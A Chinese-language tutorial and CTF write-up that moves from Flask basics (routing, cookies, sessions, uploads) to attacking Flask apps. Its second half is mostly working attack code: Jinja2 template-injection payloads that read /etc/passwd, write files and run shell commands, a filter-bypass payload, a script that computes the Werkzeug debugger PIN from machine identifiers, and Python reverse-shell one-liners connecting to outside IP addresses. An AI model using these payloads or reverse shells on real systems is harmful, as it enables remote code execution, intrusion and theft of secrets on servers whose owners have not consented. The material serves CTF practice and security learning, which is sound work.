从flask到SSTI

flask基础知识

1
2
3
4
5
6
7
8
9
10
from flask import Flask
app=Flask(__name__)

@app.route('/')
def hello_world():
return "hello World!"

if __name__=='__main__':
app.debug = True
app.run(host='0.0.0.0',port=80)

调试模式

有两种途径来启用调试模式。一种是直接在应用对象上设置:

1
2
app.debug = True
app.run()

另一种是作为 run 方法的一个参数传入:

1
app.run(debug=True)

两种方法的效果完全相同。

run函数参数

1
def run(self, host=None, port=None, debug=None, **options):

参数

1
2
3
4
host:主机,在使用run()启动服务的时候指定的IP地址,默认情况下是127.0.0.1
port:端口,是run()启动服务的时候指定的运行端口,默认是5000
debug:调试,如果需要进入调试模式,可以将这个选项设置成ture
options:选项参数是将server的参数传送到Werkzeug server去处理。详情参考链接内容。

请求

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/login', methods=['POST', 'GET'])
def login():
error = None
if request.method == 'POST':
if valid_login(request.form['username'],
request.form['password']):
return log_the_user_in(request.form['username'])
else:
error = 'Invalid username/password'
# the code below is executed if the request method
# was GET or the credentials were invalid
return render_template('login.html', error=error)

文件上传

1
2
3
4
5
6
7
8
from flask import request

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['the_file']
f.save('/var/www/uploads/uploaded_file.txt')
...

如果你想知道上传前文件在客户端的文件名是什么,你可以访问 filename 属性。但请记住, 永远不要信任这个值,这个值是可以伪造的。如果你要把文件按客户端提供的文件名存储在服务器上,那么请把它传递给 Werkzeug 提供的 secure_filename() 函数:

1
2
3
4
5
6
7
8
9
from flask import request
from werkzeug import secure_filename

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['the_file']
f.save('/var/www/uploads/' + secure_filename(f.filename))
...

设置cookie

1
2
3
4
5
@app.route('/cookie')
def set_cookie():
resp = make_response('set_cookie')
resp.set_cookie('name', '123456')
return resp

获得cookie

1
2
3
4
@app.route('/hello')
def render1(name=None):
name = request.cookies.get('name')
return render_template('hello.html',name=name)

删除cookie

1
2
3
4
5
@app.route('/del_cookie')
def show_post():
resp = make_response('delete_cookie')
resp.delete_cookie('name')
return resp

重定向

1
2
3
4
5
6
7
8
@app.route('/cookie')
def login():
return redirect(url_for('hello'))

@app.route('/hello')
def hello(name=None):
name = request.cookies.get('name')
return render_template('hello.html',name=name)

session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask, session, redirect, url_for, escape, request

app = Flask(__name__)

@app.route('/')
def index():
if 'username' in session:
return 'Logged in as %s' % escape(session['username'])
return 'You are not logged in'

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
session['username'] = request.form['username']
return redirect(url_for('index'))
return '''
<form action="" method="post">
<p><input type=text name=username>
<p><input type=submit value=Login>
</form>
'''

@app.route('/logout')
def logout():
# remove the username from the session if it's there
session.pop('username', None)
return redirect(url_for('index'))

# set the secret key. keep this really secret:
app.secret_key = 'A0Zr98j/3yX R~XHH!jmN]LWX/,?RT'

模板注入

xss

1
2
3
4
5
6
7
@app.route('/xss/')
def hello(name=None):
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)

payload

1
http://192.168.199.246/xss/?id=<script>alert(1)</script>

防御

1
2
3
4
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)

可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的

SSTI文件读取/命令执行

服务器模板注入SSTI
基础
在Jinja2模板引擎中,是变量包裹标识符。并不仅仅可以传递变量,还可以执行一些简单的表达式。
代码同xss
payload
http://192.168.199.246/ssti/?id=6
查看flask配置

1
http://192.168.199.246/ssti/?id={{config}}

python2/3的命令执行和文件包含

python2

文件读取或者写入

1
2
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

任意文件写

1
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}

执行,先通过上一步的写,然后执行

1
{{ config.from_pyfile('/tmp/owned.cfg') }}

执行

1
http://111.198.29.45:42293/{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )}}

python3

任意文件读取

1
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}

一句指令任意执行

1
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

一个payload
2.访问http://192.168.100.161:62264/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D,来查看所有模块

3.os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个

4.访问http://192.168.100.161:62264/%7B%7B[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()%7D%7D,查看catch_warnings模块都存在哪些全局函数,可以找到linecache函数,os模块就在其中

5.使用[‘o’+’s’],可绕过对os字符的过滤,访问http://192.168.100.161:62264/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D查看flag文件所在

6.访问http://192.168.100.161:62264/%7B%7B%22%22.__class__.__mro__[2].__subclasses__()[40](%22fl4g%22).read()%7D%7D,可得到flag
通用payload

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

Flask开启debug模式Pin安全

参考https://xz.aliyun.com/t/2553#toc-2
代码

1
2
3
4
5
6
7
8
9
10
from flask import Flask
app=Flask(__name__)

@app.route('/')
def hello_world():
return hello

if __name__=='__main__':
app.debug = True
app.run(host='0.0.0.0',port=8087)

运行会有一个pin值,每次不变,我这里是186-827-653,界面输入pin值获得权限
payload
先计算pin值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'95531326077',# str(uuid.getnode()), /sys/class/net/eth0/address->hex->dec 00:16:3e:1c:5a:7d0 >95531326077
'4de81b88ea87bb469a366a045ab870c1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

成功拿到
服务器
nc -vvlp 1234
flask

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxxxxxxx",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

python反弹shell

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.247.76.60",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1
2
3
4
5
6
7
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.102.118.76",7778));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);

题目

easy_tornado模板注入

2个hint
一个是

1
2
/hints.txt
md5(cookie_secret+md5(filename))

一个是

1
flag in /fllllllllllllag

我们要获得cookie_secret
发现模板注入
http://ccd83b2b-0554-474d-a173-098a24982105.node2.buuoj.cn.wetolink.com:82/error?msg=Error
http://ccd83b2b-0554-474d-a173-098a24982105.node2.buuoj.cn.wetolink.com:82/error?msg={{1+1}}
我们之后进行各种尝试与资料获取发现对于tornado框架存在附属文件handler.settings
http://ccd83b2b-0554-474d-a173-098a24982105.node2.buuoj.cn.wetolink.com:82/error?msg={{handler.settings}}
获得
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'c60b48df-5a65-4b5e-bf46-94c3536c65e6'}
所以得到
http://ccd83b2b-0554-474d-a173-098a24982105.node2.buuoj.cn.wetolink.com:82/file?filename=/fllllllllllllag&filehash=55e8b48b796a17f8ce4efa065aeec935
flag{d9b60421-fffb-4eb1-9eb1-62e2c15be06c}

[WesternCTF2018]shrine

优秀的人写的wp都如此优秀,佩服佩服
https://ctftime.org/writeup/10895

python -c 'import pty;pty.spawn("/bin/bash")'

1
2
3
{%print(()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x6'])(447)|attr(request['values']['x4'])|attr(request['values']['x5'])|attr(request['values']['x6'])(request['values']['x7'])|attr(request['values']['x6'])(request['values']['x8'])(request['values']['x9']))%}

x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__getitem__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat /fl4gcat').read()